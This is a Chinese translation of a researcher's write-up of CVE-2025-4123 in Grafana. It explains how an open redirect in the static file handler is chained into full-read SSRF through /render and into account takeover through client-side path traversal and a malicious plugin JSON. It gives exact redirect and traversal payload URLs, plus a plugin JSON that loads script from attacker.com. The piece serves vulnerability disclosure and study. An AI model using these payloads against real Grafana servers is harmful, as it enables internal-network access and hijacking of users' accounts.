白帽故事 · 2025年5月23日 0

【CVE-2025–4123】:Grafana SSRF 和帐户接管利用

file

前言

当 Web 应用程序采用 URL 参数并将用户重定向到指定的 URL 而不对其进行验证时,就会发生开放重定向。

/redirect?url=https://evil.com –> (302 重定向) –> https://evil.com

这本身可能看起来并不危险,但这种类型的漏洞是发现两个独立漏洞的起点:完全读取 SSRF 和帐户接管。

本文就来详细讲解如何找到这两个漏洞的完整过程。

为什么选择Grafana

Grafana 是一个开源分析平台,主要使用 Go 和 TypeScript 构建,用于可视化来自 Prometheus 和 InfluxDB 等来源的数据。

在这个 Web 应用程序中能够找到漏洞将是一个很好的挑战,因此白帽小哥下载了源代码并开始调试——尽管这是小哥第一次使用 Go,他仍然决定专注于应用程序中未经身份验证的部分。

入口点

查看 api/api.go 中定义的所有未经身份验证的端点:

...
// not logged in views
r.Get("/logout", hs.Logout)
r.Post("/login", requestmeta.SetOwner(requestmeta.TeamAuth), quota(string...
r.Get("/login/:name", quota(string(auth.QuotaTargetSrv)), hs.OAuthLogin)

r.Get("/login", hs.LoginView)
r.Get("", hs.Index)

// authed views
r.Get("/", reqSignedIn, hs.Index)
r.Get("/profile/", reqSignedInNoAnonymous, hs.Index)
...

功能性

一个负责处理静态路由的函数成功引起了白帽小哥的注意:

func staticHandler(ctx *web.Context, log log.Logger, opt StaticOptions) bool {
    if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" {
  return false
 }

 file := ctx.Req.URL.Path
 for _, p := range opt.Exclude {
  if file == p {
   return false
  }
 }

 // if we have a prefix, filter requests by stripping the prefix
 if opt.Prefix != "" {
  if !strings.HasPrefix(file, opt.Prefix) {
   return false
  }
  file = file[len(opt.Prefix):]
  if file != "" && file[0] != '/' {
   return false
  }
 }

 f, err := opt.FileSystem.Open(file)
 if err != nil {
  return false
 }

   ..............

}

该函数用于根据用户输入从系统中检索文件,白帽小哥第一个想法是尝试使用路径遍历来加载任意文件,例如 ../ 大法或类似技巧。

file

如果请求 /public/file/../../../name 时,路径将被清理并解析为 /staticfiles/etc/etc/name,从而有效地阻止对预期目录之外的非法访问。

此外,如果解析的最终路径指向文件夹, 则 StaticHandler 函数会检查其中的默认文件 — 通常从该目录提供 /index.html

if fi.IsDir() {
    // Redirect if missing trailing slash.
    if !strings.HasSuffix(ctx.Req.URL.Path, "/") {
        path := fmt.Sprintf("%s/", ctx.Req.URL.Path)
        if !strings.HasPrefix(path, "/") {
            // Disambiguate that it's a path relative to this server
            path = fmt.Sprintf("/%s", path)
        } else {
            // A string starting with // or /\ is interpreted by browsers as a URL, and not a server relative path
            rePrefix := regexp.MustCompile(`^(?:/\\|/+)`)
            path = rePrefix.ReplaceAllString(path, "/")
        }
        http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
        return true
    }

    file = path.Join(file, opt.IndexFile)
    indexFile, err := opt.FileSystem.Open(file)
    ....
}

如上所见,如果最终文件是一个目录,并且提供的路由 (/public/build) 不以 / 结尾,则服务器将重定向到同一路径,并z在尾部附加 /。

GET /public/build HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /public/build/

这种重定向行为是开放重定向漏洞发生的地方,因此接下来深入研究一下。

目标

假设有一个场景,应用程序根据提供的路由进行重定向,因此最终的重定向 URL 将始终以 / 开头。

那么我们的目标是创建一个路由,当请求时,该路由会重定向到以 / 开头的有效完整 URL,例如:

  • attacker.com/... –> 表示协议相对 URL,它使用与当前页面相同的协议 (HTTPS)

  • /\attacker.com/…–> /\ 会执行相同的操作

问题及解决方案

要实现重定向功能,我们需要一个以 /public/ 开头的路由,并在传递给 opt 时,FileSystem.Open(file)将其解析为有效目录。

/public/\attacker.com/../.. 开始,它解析为空字符串 " ",然后附加到 /staticfiles/etc/etc/, 触发 if fi.isDir(){} 代码流。

/public/\attacker.com/../..-->
/\attacker.com/../.. --> "" -->
/staticfiles/etc/etc/+"" --> fi.isDir() TRUE

现在,有一种方法可以将任何Payload注入,它将被opt.FileSystem.Open(file)解释为一个文件夹。

一旦进入 isDir() 处理部分,/public/\attacker.com/../.. 路径就会到达 http.Redirect() 函数,问题在于,此函数还会解析路径,这会导致重定向路径为/

if fi.IsDir() {
    ...
        //path is "/public/\attacker.com/../.." but the final redirect is "/"
        http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
        return true
    ...
}

如果请求 /public/\attacker.com/../..

GET /public/\attacker.com/../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /

因此我们需要创建一条路径,其中在加载文件时,/../../.. 通过 opt.FileSystem.Open(file) 被解析,但在执行重定向时,http.Redirect() 中仍然未解析。

在每种情况下,路径的解析方式都不同:

  • opt.FileSystem.Open(file) 预期为一个系统文件

  • http.Redirect(path) 预期为一个 URL 路径

  • opt.FileSystem.Open(file)?视为普通字符

  • http 的 Redirect(path)? 解析为 URL 参数的开头

这意味着 /public/\attacker.com/?/../../../.. 将被如下处理,

opt.FileSystem.Open() — >

  • /public/\attacker.com/?/../../../.. 将被解析为 "" -> /staticfiles/etc/etc/+"" 有效文件夹。

http.redirect()

  • /public/\attacker.com/?/../../../.. –> 后面的任何内容 ? 都被视为查询字符串,而不是作为路径的一部分进行解析。

请求 -> %3f

GET /public/\attacker.com/%3f/../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /public/\attacker.com/?/../../

最终 Payload

该 URL /public/\attacker.com/?/../../../.. 需要解析为以 /\ 开头的完整 URL。

使用路径: /public/../\attacker.com/?/../../../..,当 http.Redirect() 解析路径 时,会删除 /public 部分。

GET /public/../\attacker.com/%3f/../../../../../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /\attacker.com/?/../../../../../../

流程示意图:

file

完整读取 SSRF

开放重定向本身不会产生任何严重的安全影响,因此需要将其与另一个功能链接起来。

Grafana 有一个名为 /render 的端点,用于根据提供的路径生成图像。

// rendering
r.Get("/render/*", requestmeta.SetSLOGroup(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)

file

此端点使用无头浏览器来呈现用户指定的路由的 HTML,它只接受相对 URL 路径 /route,不接受绝对 URL https://...

但是,如果使用找到的 open redirect 重定向到内部服务呢?

首先,尝试将 /render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f.. google.es

file

然后,设置了一个无法从外部访问的内部服务:

尝试用 /render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f.. 127.0.0.1:1234:

file

通过该漏洞,便能够完全读取内部服务,由于浏览器用于渲染,因此我们甚至可以通过制作面向内部服务的表单来发送 POST 请求。

此外,该漏洞的前提需要登录才能利用,因此我们在未登录的前提下无法从中获得任何东西。

通过 XSS 进行帐户接管

客户端路径遍历

Grafana 的 Client 端代码的很大一部分允许 Client 端路径遍历。

例如,当在浏览器中加载 /invite/1 时,JavaScript 会向 /api/user/invite/1 发出请求以检索邀请信息。

但是,如果加载 /invite/..%2f..%2f..%2f..%2froute ,则 JavaScript 会解析路径遍历并最终加载 /route

file

这创造了一个完美的场景来强制 JavaScript 加载开放重定向,而该重定向反过来会从我们的服务器获取一个特别定制的JSON。

但首先,我们需要找到一个以不安全的方式加载内容的端点,并利用它来执行 JavaScript。

加载恶意 javascript 文件

可以使用 /a/plugin-app/explore 加载和管理插件应用程序。

此功能的 JavaScript 从 URL 中提取插件应用程序名称,并使用它从 /api/plugins/plugin-app/settings 请求插件信息。

/api/plugins/plugin-app/settings 内容如下:

{
    "name": "plugin-app",
    "type": "app",
    "id": "plugin-app",
    "enabled": true,
    "pinned": true,
    "autoEnabled": true,
    "module": "/modules/..../plugin-app.js", //js file to load
    "baseUrl": "public/plugins/grafana-lokiexplore-app",
    "info": {
        "author": {
            "name": "Grafana"
            ...
        }
    }
    ...
}

/a/plugin-app/explore加载该文件,并执行 “module” 参数中提供的 JavaScript。

/a/plugin-app/explore 容易受到客户端路径遍历的影响,这允许我们在服务器上加载任意路由,而不是 /api/plugin-app/settings

这允许我们加载打开的重定向,因此,获取自己的恶意 JSON,其中包含了我们想要的任何 JavaScript 文件。

通过利用所有必要的 JS 和 JSON 文件设置我们自己的服务器。只需要托管如下 JSON :

{
    "name": "ExploitPluginReq",
    "type": "app",
    "id": "grafana-lokiexplore-app",
    "enabled": true,
    "pinned": true,
    "autoEnabled": true,
    "module": "http://attacker.com/file?js=file", //malicious js file
    "baseUrl": "public/plugins/grafana-lokiexplore-app",
    "info": {
        "author": {...}
    }
    ...
}

加载此路由, /a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore ,从而利用客户端路径遍历和开放重定向。

结果展示:

file

恶意 JavaScript 文件被执行,并允许我们更改受害者的电子邮件并重置他们的密码。

file

希望本文能给你更多启发~

原文:https://medium.com/@Nightbloodz/grafana-cve-2025-4123-full-read-ssrf-account-takeover-d12abd13cd53